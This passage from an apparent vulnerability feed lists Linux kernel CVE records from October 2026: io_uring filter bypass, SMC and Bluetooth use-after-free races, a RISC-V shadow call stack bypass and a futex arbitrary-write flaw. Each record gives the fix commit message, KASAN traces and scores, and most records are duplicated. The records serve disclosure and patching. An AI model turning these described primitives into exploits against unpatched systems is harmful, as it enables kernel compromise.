instructions; it also drafted the reproducer and this patch. I verified
the bypass and the fix in a VM on 7.3-rc6 and that 7.2 has the same
code.
CVSS 8.4 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-99042).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-99042&date=2026-10-25).
Sources:
NVD CVE-2026-99042: https://nvd.nist.gov/vuln/detail/CVE-2026-99042
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-99042&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

io_uring/net: populate CONNECT filter fields for 24-byte sockaddr_in6

io_connect_bpf_populate() fills connect.port and connect.v6_addr for
AF_INET6 only when addr_len >= sizeof(struct sockaddr_in6), i.e. 28
bytes.

The IPv6 connect paths accept SIN6_LEN_RFC2133 (24 bytes), which
already holds sin6_port and sin6_addr. io_connect() passes addr_len to
the socket layer unchanged.

At addr_len 24 the filter sees family AF_INET6 with port and address
zero, while the kernel connects to the real destination. A filter that
denies an IPv6 port or address is bypassed. Denying connect.port == P
rejects [::1]:P with -EACCES at addr_len 28 but connects at addr_len 24.

Use SIN6_LEN_RFC2133 as the threshold. sin6_scope_id stays zero when
absent.

The threshold mismatch was found by an AI coding assistant (Claude Code)
comparing this hook against the net/ipv6 length checks on my
instructions; it also drafted the reproducer and this patch. I verified
the bypass and the fix in a VM on 7.3-rc6 and that 7.2 has the same
code.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: net/smc: protect clcsock lifetime in smc_getname
https://kevwire.com/record/CVE-2026-99032
Linux kernel: net/smc: protect clcsock lifetime in smc_getname (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

net/smc: protect clcsock lifetime in smc_getname

smc_getname() dereferences smc->clcsock without holding
clcsock_release_lock. Link-group termination can release the CLC socket
through smc_close_active_abort() while the SMC socket is still open,
for example after shutdown(SHUT_WR).

A getsockname() caller can load smc->clcsock, then the termination worker
can clear the pointer and call sock_release() before the caller accesses
clcsock->ops or invokes getname(). This causes a use-after-free; if the
worker clears the pointer before the load, it causes a NULL dereference.
The syscall's file reference keeps the SMC socket alive but does not
prevent asynchronous release of its CLC socket.

KASAN reported the following with test-only timing instrumentation:

  BUG: KASAN: slab-use-after-free in smc_getname+0x19e/0x1b0
  Read of size 8 at addr ffff888109abb4e0 by task poc/103
  Call Trace:
   smc_getname+0x19e/0x1b0
   do_getsockname+0xe5/0x170
   __sys_getsockname+0x8c/0x100

  Allocated by task 95:
   sock_alloc_inode+0x1e/0x280
   sock_alloc+0x3d/0x240
   __sock_create+0x7e/0x430
   smc_create+0x121/0x240

  Freed by task 0:
   kmem_cache_free+0xcc/0x340
   rcu_core+0x50a/0x1850

  Last potentially related work creation:
   evict+0x446/0x6c0
   smc_clcsock_release+0xa8/0xd0
   smc_close_active_abort+0x26a/0x3a0
   __smc_lgr_terminate.part.0+0x137/0x2e0

Hold clcsock_release_lock across the pointer check and the getname()
callback to serialize with smc_clcsock_release(). Return -EBADF if the
CLC socket has already been released, preserving the existing peer
state check and the callback's return value otherwise.
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-99032).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-99032&date=2026-10-25).
Sources:
NVD CVE-2026-99032: https://nvd.nist.gov/vuln/detail/CVE-2026-99032
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-99032&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

net/smc: protect clcsock lifetime in smc_getname

smc_getname() dereferences smc->clcsock without holding
clcsock_release_lock. Link-group termination can release the CLC socket
through smc_close_active_abort() while the SMC socket is still open,
for example after shutdown(SHUT_WR).

A getsockname() caller can load smc->clcsock, then the termination worker
can clear the pointer and call sock_release() before the caller accesses
clcsock->ops or invokes getname(). This causes a use-after-free; if the
worker clears the pointer before the load, it causes a NULL dereference.
The syscall's file reference keeps the SMC socket alive but does not
prevent asynchronous release of its CLC socket.

KASAN reported the following with test-only timing instrumentation:

  BUG: KASAN: slab-use-after-free in smc_getname+0x19e/0x1b0
  Read of size 8 at addr ffff888109abb4e0 by task poc/103
  Call Trace:
   smc_getname+0x19e/0x1b0
   do_getsockname+0xe5/0x170
   __sys_getsockname+0x8c/0x100

  Allocated by task 95:
   sock_alloc_inode+0x1e/0x280
   sock_alloc+0x3d/0x240
   __sock_create+0x7e/0x430
   smc_create+0x121/0x240

  Freed by task 0:
   kmem_cache_free+0xcc/0x340
   rcu_core+0x50a/0x1850

  Last potentially related work creation:
   evict+0x446/0x6c0
   smc_clcsock_release+0xa8/0xd0
   smc_close_active_abort+0x26a/0x3a0
   __smc_lgr_terminate.part.0+0x137/0x2e0

Hold clcsock_release_lock across the pointer check and the getname()
callback to serialize with smc_clcsock_release(). Return -EBADF if the
CLC socket has already been released, preserving the existing peer
state check and the callback's return value otherwise.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: net: skbuff: don't leave stale bytes in skb_copy_and_csum_bits()
https://kevwire.com/record/CVE-2026-99030
Linux kernel: net: skbuff: don't leave stale bytes in skb_copy_and_csum_bits() (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

net: skbuff: don't leave stale bytes in skb_copy_and_csum_bits()

When skb_copy_and_csum_bits() reaches unreadable frags it returns 0
after copying only the linear part, and the rest of the caller's buffer
is left as it was.  The callers copy into a buffer that is about to go
out on the wire: an ICMP error quoting the offending packet, or a
driver's TX bounce buffer in skb_copy_and_csum_dev().  Neither buffer
is zeroed beforehand, so whatever was in memory there gets sent.

Zero the part of the buffer we didn't fill.  The checksum usually
won't match the data any more, so the receiver will usually drop the
packet, but either way it no longer carries anything it shouldn't.
Only zero for a positive @len, a negative one from a broken caller must
not turn into a huge memset().
CVSS 7.5 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-99030).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-99030&date=2026-10-25).
Sources:
NVD CVE-2026-99030: https://nvd.nist.gov/vuln/detail/CVE-2026-99030
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-99030&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

net: skbuff: don't leave stale bytes in skb_copy_and_csum_bits()

When skb_copy_and_csum_bits() reaches unreadable frags it returns 0
after copying only the linear part, and the rest of the caller's buffer
is left as it was.  The callers copy into a buffer that is about to go
out on the wire: an ICMP error quoting the offending packet, or a
driver's TX bounce buffer in skb_copy_and_csum_dev().  Neither buffer
is zeroed beforehand, so whatever was in memory there gets sent.

Zero the part of the buffer we didn't fill.  The checksum usually
won't match the data any more, so the receiver will usually drop the
packet, but either way it no longer carries anything it shouldn't.
Only zero for a positive @len, a negative one from a broken caller must
not turn into a huge memset().

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: riscv: entry: gate shadow call stack reload on sstatus.SPP, not tp
https://kevwire.com/record/CVE-2026-99018
Linux kernel: riscv: entry: gate shadow call stack reload on sstatus.SPP, not tp (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

riscv: entry: gate shadow call stack reload on sstatus.SPP, not tp

Under CONFIG_SHADOW_CALL_STACK, handle_exception() reloads the kernel
shadow call stack pointer (gp) only when the trap came from userspace.
It made that decision with scs_load_current_if_task_changed, which
compares the trap-time tp (read back from sscratch into s5) against the
current tp:

	beq	\prev, tp, _skip_scs
	scs_load_current
_skip_scs:

tp is a user-writable register.  A user task that sets tp to the
linear-map address of its own task_struct (&current) before trapping
makes the comparison succeed (can achieve by brute force with KASLR
enable under our test), so the kernel skips scs_load_current and
keeps running with the gp that userspace left in place.  Under
CONFIG_SHADOW_CALL_STACK gp is the shadow call stack pointer and
load_global_pointer is a no-op, so the compiler-emitted
"sd ra, -8(gp)" / "ld ra, -8(gp)" in every non-leaf function then write
to, and return through, an attacker-controlled address -- an
unprivileged kernel arbitrary-write and control-flow-hijack primitive.
The poisoned gp is saved to task_struct.scs_sp on return, so the reload
is skipped on every subsequent entry as well.

Decide "came from userspace" from the hardware sstatus.SPP bit (already
in s1 at this point) instead of from tp, mirroring the check that
ret_from_exception already uses a few instructions later.  SPP is
written by hardware on trap entry and cannot be forged from U-mode.
Legitimate behaviour is unchanged: user entries (SPP=0) reload the task
shadow call stack, nested kernel entries (SPP=1) skip it.
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-99018).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-99018&date=2026-10-25).
Sources:
NVD CVE-2026-99018: https://nvd.nist.gov/vuln/detail/CVE-2026-99018
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-99018&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

riscv: entry: gate shadow call stack reload on sstatus.SPP, not tp

Under CONFIG_SHADOW_CALL_STACK, handle_exception() reloads the kernel
shadow call stack pointer (gp) only when the trap came from userspace.
It made that decision with scs_load_current_if_task_changed, which
compares the trap-time tp (read back from sscratch into s5) against the
current tp:

	beq	\prev, tp, _skip_scs
	scs_load_current
_skip_scs:

tp is a user-writable register.  A user task that sets tp to the
linear-map address of its own task_struct (&current) before trapping
makes the comparison succeed (can achieve by brute force with KASLR
enable under our test), so the kernel skips scs_load_current and
keeps running with the gp that userspace left in place.  Under
CONFIG_SHADOW_CALL_STACK gp is the shadow call stack pointer and
load_global_pointer is a no-op, so the compiler-emitted
"sd ra, -8(gp)" / "ld ra, -8(gp)" in every non-leaf function then write
to, and return through, an attacker-controlled address -- an
unprivileged kernel arbitrary-write and control-flow-hijack primitive.
The poisoned gp is saved to task_struct.scs_sp on return, so the reload
is skipped on every subsequent entry as well.

Decide "came from userspace" from the hardware sstatus.SPP bit (already
in s1 at this point) instead of from tp, mirroring the check that
ret_from_exception already uses a few instructions later.  SPP is
written by hardware on trap entry and cannot be forged from U-mode.
Legitimate behaviour is unchanged: user entries (SPP=0) reload the task
shadow call stack, nested kernel entries (SPP=1) skip it.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: riscv: errata: select RISCV_ALTERNATIVE_EARLY for THEAD GHOSTWRITE
https://kevwire.com/record/CVE-2026-99017
Linux kernel: riscv: errata: select RISCV_ALTERNATIVE_EARLY for THEAD GHOSTWRITE (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

riscv: errata: select RISCV_ALTERNATIVE_EARLY for THEAD GHOSTWRITE

errata_probe_ghostwrite() only marks the CPU as vulnerable when it is
called at the RISCV_ALTERNATIVES_EARLY_BOOT stage, and the mitigation
in ghostwrite_enable_mitigation() only takes effect if the vulnerable
state was recorded before the boot alternatives are patched.

The early boot stage is only executed when CONFIG_RISCV_ALTERNATIVE_EARLY
is enabled, which currently is only selected by ERRATA_THEAD_MAE. In a
kernel built with ERRATA_THEAD_GHOSTWRITE=y but ERRATA_THEAD_MAE=n, the
early alternatives never run, so ghostwrite_state is never set to
VULNERABLE: ghostwrite_enable_mitigation() returns false, xtheadvector
remains enabled, and sysfs reports "Not affected" on a vulnerable
T-Head C9xx CPU.

Select RISCV_ALTERNATIVE_EARLY from ERRATA_THEAD_GHOSTWRITE so that the
vulnerability is detected in the early boot stage and the default
mitigation is applied.
CVSS 7.0 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-99017).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-99017&date=2026-10-25).
Sources:
NVD CVE-2026-99017: https://nvd.nist.gov/vuln/detail/CVE-2026-99017
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-99017&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

riscv: errata: select RISCV_ALTERNATIVE_EARLY for THEAD GHOSTWRITE

errata_probe_ghostwrite() only marks the CPU as vulnerable when it is
called at the RISCV_ALTERNATIVES_EARLY_BOOT stage, and the mitigation
in ghostwrite_enable_mitigation() only takes effect if the vulnerable
state was recorded before the boot alternatives are patched.

The early boot stage is only executed when CONFIG_RISCV_ALTERNATIVE_EARLY
is enabled, which currently is only selected by ERRATA_THEAD_MAE. In a
kernel built with ERRATA_THEAD_GHOSTWRITE=y but ERRATA_THEAD_MAE=n, the
early alternatives never run, so ghostwrite_state is never set to
VULNERABLE: ghostwrite_enable_mitigation() returns false, xtheadvector
remains enabled, and sysfs reports "Not affected" on a vulnerable
T-Head C9xx CPU.

Select RISCV_ALTERNATIVE_EARLY from ERRATA_THEAD_GHOSTWRITE so that the
vulnerability is detected in the early boot stage and the default
mitigation is applied.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: riscv: futex: untag the user pointer before the atomic access
https://kevwire.com/record/CVE-2026-99016
Linux kernel: riscv: futex: untag the user pointer before the atomic access (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

riscv: futex: untag the user pointer before the atomic access

access_ok() checks untagged_addr(uaddr), but arch_futex_atomic_op_inuser()
and futex_atomic_cmpxchg_inatomic() hand the raw uaddr to the inline asm
amoswap/amoadd/.../lr.w+sc.w through the "+m" (*uaddr) operand.  When the
tagged address ABI is enabled (CONFIG_RISCV_ISA_SUPM, prctl
PR_SET_TAGGED_ADDR_CTRL with PMLEN != 0), those two addresses differ: a
user pointer whose top PMLEN bits hold a tag passes access_ok() after
untagging, but the atomic is then performed on the still-tagged raw
address.

Supervisor-mode data accesses are not subject to the U-mode pointer
masking (that is governed by menvcfg.PMM, which the kernel does not set),
so hardware does not strip the tag for the kernel's own access.  With
Sv57 and PMLEN=16 the tag bits overlap the canonical-address bits, so a
tagged pointer can name a canonical kernel virtual address (e.g. in the
linear map) whose untagged form is a valid user address.  An unprivileged
process can thus make FUTEX_WAKE_OP perform an atomic read-modify-write on
an arbitrary kernel address, with the matching FUTEX_OP_CMP_* result
serving as a read oracle.

get_user()/put_user()/raw_copy_{to,from}_user() already untag the pointer
after the access_ok() check; do the same in the futex helpers so the
atomic operates on the address that was actually validated.
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-99016).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-99016&date=2026-10-25).
Sources:
NVD CVE-2026-99016: https://nvd.nist.gov/vuln/detail/CVE-2026-99016
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-99016&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

riscv: futex: untag the user pointer before the atomic access

access_ok() checks untagged_addr(uaddr), but arch_futex_atomic_op_inuser()
and futex_atomic_cmpxchg_inatomic() hand the raw uaddr to the inline asm
amoswap/amoadd/.../lr.w+sc.w through the "+m" (*uaddr) operand.  When the
tagged address ABI is enabled (CONFIG_RISCV_ISA_SUPM, prctl
PR_SET_TAGGED_ADDR_CTRL with PMLEN != 0), those two addresses differ: a
user pointer whose top PMLEN bits hold a tag passes access_ok() after
untagging, but the atomic is then performed on the still-tagged raw
address.

Supervisor-mode data accesses are not subject to the U-mode pointer
masking (that is governed by menvcfg.PMM, which the kernel does not set),
so hardware does not strip the tag for the kernel's own access.  With
Sv57 and PMLEN=16 the tag bits overlap the canonical-address bits, so a
tagged pointer can name a canonical kernel virtual address (e.g. in the
linear map) whose untagged form is a valid user address.  An unprivileged
process can thus make FUTEX_WAKE_OP perform an atomic read-modify-write on
an arbitrary kernel address, with the matching FUTEX_OP_CMP_* result
serving as a read oracle.

get_user()/put_user()/raw_copy_{to,from}_user() already untag the pointer
after the access_ok() check; do the same in the futex helpers so the
atomic operates on the address that was actually validated.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: Bluetooth: hci_sync: Fix command skb lifetime during scan setup
https://kevwire.com/record/CVE-2026-99014
Linux kernel: Bluetooth: hci_sync: Fix command skb lifetime during scan setup (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

Bluetooth: hci_sync: Fix command skb lifetime during scan setup

During PA sync scan setup, hci_le_set_ext_scan_param_sync() gets the
address used for the PA_LINK lookup from hci_sent_cmd_data(). The
returned pointer borrows storage from sent_cmd or req_skb, without
holding a reference to either skb.

The scan worker runs on req_workqueue while hci_cmd_work() runs on the
separate device workqueue. After the scan worker loads sent_cmd, the
command worker can free and replace it before hci_sent_cmd_data()
dereferences the skb. The command payload can also be freed between
returning from the helper and comparing the address. The connection
lookup's RCU critical section does not protect the command skb.

KASAN reported:

  BUG: KASAN: slab-use-after-free in hci_sent_cmd_data+0x27c/0x2f0
  Workqueue: hci0 hci_cmd_sync_work
  Call Trace:
   hci_sent_cmd_data+0x27c/0x2f0
   hci_le_set_scan_param_sync+0x43a/0x850
   hci_passive_scan_sync+0xb09/0x1460
   hci_update_passive_scan_sync+0x47c/0x6e0
   hci_le_pa_create_sync+0x200/0xa70
   hci_cmd_sync_work+0x13c/0x290

  Allocated by task 95:
   skb_clone+0x13f/0x340
   hci_cmd_work+0x2a9/0x7e0

  Freed by task 95:
   kmem_cache_free+0xba/0x3a0
   hci_cmd_work+0x29c/0x7e0

Use hdev->lock to serialize the address snapshot with sent_cmd
replacement. Protect req_skb replacement and completion cleanup with
the same lock because the helper falls back to that skb. Copy the
address before releasing the lock and use the copy for the existing
RCU-protected connection lookup. Release the mutex before sending or
waiting for commands, preserving the lookup and completion ordering.
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-99014).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-99014&date=2026-10-25).
Sources:
NVD CVE-2026-99014: https://nvd.nist.gov/vuln/detail/CVE-2026-99014
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-99014&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

Bluetooth: hci_sync: Fix command skb lifetime during scan setup

During PA sync scan setup, hci_le_set_ext_scan_param_sync() gets the
address used for the PA_LINK lookup from hci_sent_cmd_data(). The
returned pointer borrows storage from sent_cmd or req_skb, without
holding a reference to either skb.

The scan worker runs on req_workqueue while hci_cmd_work() runs on the
separate device workqueue. After the scan worker loads sent_cmd, the
command worker can free and replace it before hci_sent_cmd_data()
dereferences the skb. The command payload can also be freed between
returning from the helper and comparing the address. The connection
lookup's RCU critical section does not protect the command skb.

KASAN reported:

  BUG: KASAN: slab-use-after-free in hci_sent_cmd_data+0x27c/0x2f0
  Workqueue: hci0 hci_cmd_sync_work
  Call Trace:
   hci_sent_cmd_data+0x27c/0x2f0
   hci_le_set_scan_param_sync+0x43a/0x850
   hci_passive_scan_sync+0xb09/0x1460
   hci_update_passive_scan_sync+0x47c/0x6e0
   hci_le_pa_create_sync+0x200/0xa70
   hci_cmd_sync_work+0x13c/0x290

  Allocated by task 95:
   skb_clone+0x13f/0x340
   hci_cmd_work+0x2a9/0x7e0

  Freed by task 95:
   kmem_cache_free+0xba/0x3a0
   hci_cmd_work+0x29c/0x7e0

Use hdev->lock to serialize the address snapshot with sent_cmd
replacement. Protect req_skb replacement and completion cleanup with
the same lock because the helper falls back to that skb. Copy the
address before releasing the lock and use the copy for the existing
RCU-protected connection lookup. Release the mutex before sending or
waiting for commands, preserving the lookup and completion ordering.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: Bluetooth: ISO: Reject concurrent BIS listener setup
https://kevwire.com/record/CVE-2026-99013
Linux kernel: Bluetooth: ISO: Reject concurrent BIS listener setup (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

Bluetooth: ISO: Reject concurrent BIS listener setup

iso_sock_listen() drops the socket lock before calling iso_listen_bis()
to preserve the hdev->lock ordering. Two concurrent listen() calls on
the same broadcast socket can therefore both observe BT_BOUND. Caller
A can attach connA and release the locks, then caller B can acquire
them and attach connB before A publishes BT_LISTEN.

__iso_chan_add() checks whether connB already has a socket, but not
whether the socket already has a connection. The second attachment
overwrites iso_pi(sk)->conn, leaking the connA reference and leaving
connA->sk intact. Socket teardown follows connB, so later events on
connA can cause a stale socket access.

Recheck BT_BOUND and require iso_pi(sk)->conn to be NULL after taking
both the HCI device and socket locks in iso_listen_bis(). The connection
check also covers the interval between attachment and publication of
BT_LISTEN. Reject a competing setup with -EBADFD through the existing
unlock path before allocating another connection.

A recorded KASAN report from an instrumented kernel shows:

  BUG: KASAN: slab-use-after-free in iso_sock_hold+0x119/0x1f0
  Call Trace:
   iso_sock_hold+0x119/0x1f0
   iso_conn_del+0xe4/0x270
   hci_disconn_complete_evt+0x351/0x8c0
   hci_event_packet+0x71b/0xb20
   hci_rx_work+0x293/0x730

  Allocated by task 93:
   sk_prot_alloc+0x113/0x220
   sk_alloc+0x2b/0x6d0
   bt_sock_alloc+0x29/0x370
   iso_sock_alloc.constprop.0+0x19/0x300
   iso_sock_create+0x94/0x100

  Freed by task 93:
   kfree+0x121/0x3c0
   __sk_destruct+0x42b/0x540
   iso_sock_release+0x29d/0x340
   __sock_release+0xa1/0x260
   sock_close+0x10/0x20
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-99013).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-99013&date=2026-10-25).
Sources:
NVD CVE-2026-99013: https://nvd.nist.gov/vuln/detail/CVE-2026-99013
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-99013&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

Bluetooth: ISO: Reject concurrent BIS listener setup

iso_sock_listen() drops the socket lock before calling iso_listen_bis()
to preserve the hdev->lock ordering. Two concurrent listen() calls on
the same broadcast socket can therefore both observe BT_BOUND. Caller
A can attach connA and release the locks, then caller B can acquire
them and attach connB before A publishes BT_LISTEN.

__iso_chan_add() checks whether connB already has a socket, but not
whether the socket already has a connection. The second attachment
overwrites iso_pi(sk)->conn, leaking the connA reference and leaving
connA->sk intact. Socket teardown follows connB, so later events on
connA can cause a stale socket access.

Recheck BT_BOUND and require iso_pi(sk)->conn to be NULL after taking
both the HCI device and socket locks in iso_listen_bis(). The connection
check also covers the interval between attachment and publication of
BT_LISTEN. Reject a competing setup with -EBADFD through the existing
unlock path before allocating another connection.

A recorded KASAN report from an instrumented kernel shows:

  BUG: KASAN: slab-use-after-free in iso_sock_hold+0x119/0x1f0
  Call Trace:
   iso_sock_hold+0x119/0x1f0
   iso_conn_del+0xe4/0x270
   hci_disconn_complete_evt+0x351/0x8c0
   hci_event_packet+0x71b/0xb20
   hci_rx_work+0x293/0x730

  Allocated by task 93:
   sk_prot_alloc+0x113/0x220
   sk_alloc+0x2b/0x6d0
   bt_sock_alloc+0x29/0x370
   iso_sock_alloc.constprop.0+0x19/0x300
   iso_sock_create+0x94/0x100

  Freed by task 93:
   kfree+0x121/0x3c0
   __sk_destruct+0x42b/0x540
   iso_sock_release+0x29d/0x340
   __sock_release+0xa1/0x260
   sock_close+0x10/0x20

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: Bluetooth: ISO: Serialize concurrent connect calls
https://kevwire.com/record/CVE-2026-99012
Linux kernel: Bluetooth: ISO: Serialize concurrent connect calls (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

Bluetooth: ISO: Serialize concurrent connect calls

iso_sock_connect() checks the socket state before taking the socket lock
and drops the lock again before setting up a connection. Two callers can
both pass the admission check while the socket is open or bound.

Caller A can copy its destination for route selection, then caller B can
replace the socket destination before A binds or connects the CIS. A
then uses B's destination with the route selected for its own request.
B can also proceed after A attaches a connection and sets BT_CONNECT.
For deferred BIS setup, B can bind a second BIS and overwrite
iso_pi(sk)->conn, leaving the first connection's reference and conn->sk
back-pointer stranded. Concurrent CIS connects can likewise replace the
socket's connection. Later teardown only detaches the current connection,
so a callback on the old connection can race with socket release and
access a freed socket.

KASAN reported:

  BUG: KASAN: slab-use-after-free in iso_sock_hold+0xf7/0x1b0
  Call Trace:
   iso_sock_hold+0xf7/0x1b0
   iso_conn_del+0x7b/0x1d0
   iso_connect_cfm+0x186/0x16a0
   hci_conn_failed+0x154/0x280
   hci_abort_conn_sync+0x3dc/0x7d0
   hci_cmd_sync_work+0x173/0x300

  Allocated by task 121:
   sk_alloc+0x2b/0x6d0
   bt_sock_alloc+0x29/0x370
   iso_sock_alloc.constprop.0+0x19/0x300
   iso_sock_create+0x94/0x100

  Freed by task 121:
   kfree+0x121/0x3c0
   __sk_destruct+0x42b/0x540
   iso_sock_release+0x29d/0x340
   __sock_release+0xa1/0x260

Check admission under the socket lock and mark the connect operation in
progress before publishing its destination. Keep that flag set across
route lookup and connection setup, rejecting another connect with
-EBADFD before it can change the destination or attach a connection.
Clear the flag after either helper returns, including on failure, so a
failed setup can be retried.

A separate flag is needed because the socket lock must be released before
acquiring the HCI device lock, while BT_CONNECT requires an attached
connection. Keep the existing state transitions and the deferred CIS
completion through iso_sock_recvmsg().

Reject an existing s
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-99012).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-99012&date=2026-10-25).
Sources:
NVD CVE-2026-99012: https://nvd.nist.gov/vuln/detail/CVE-2026-99012
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-99012&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

Bluetooth: ISO: Serialize concurrent connect calls

iso_sock_connect() checks the socket state before taking the socket lock
and drops the lock again before setting up a connection. Two callers can
both pass the admission check while the socket is open or bound.

Caller A can copy its destination for route selection, then caller B can
replace the socket destination before A binds or connects the CIS. A
then uses B's destination with the route selected for its own request.
B can also proceed after A attaches a connection and sets BT_CONNECT.
For deferred BIS setup, B can bind a second BIS and overwrite
iso_pi(sk)->conn, leaving the first connection's reference and conn->sk
back-pointer stranded. Concurrent CIS connects can likewise replace the
socket's connection. Later teardown only detaches the current connection,
so a callback on the old connection can race with socket release and
access a freed socket.

KASAN reported:

  BUG: KASAN: slab-use-after-free in iso_sock_hold+0xf7/0x1b0
  Call Trace:
   iso_sock_hold+0xf7/0x1b0
   iso_conn_del+0x7b/0x1d0
   iso_connect_cfm+0x186/0x16a0
   hci_conn_failed+0x154/0x280
   hci_abort_conn_sync+0x3dc/0x7d0
   hci_cmd_sync_work+0x173/0x300

  Allocated by task 121:
   sk_alloc+0x2b/0x6d0
   bt_sock_alloc+0x29/0x370
   iso_sock_alloc.constprop.0+0x19/0x300
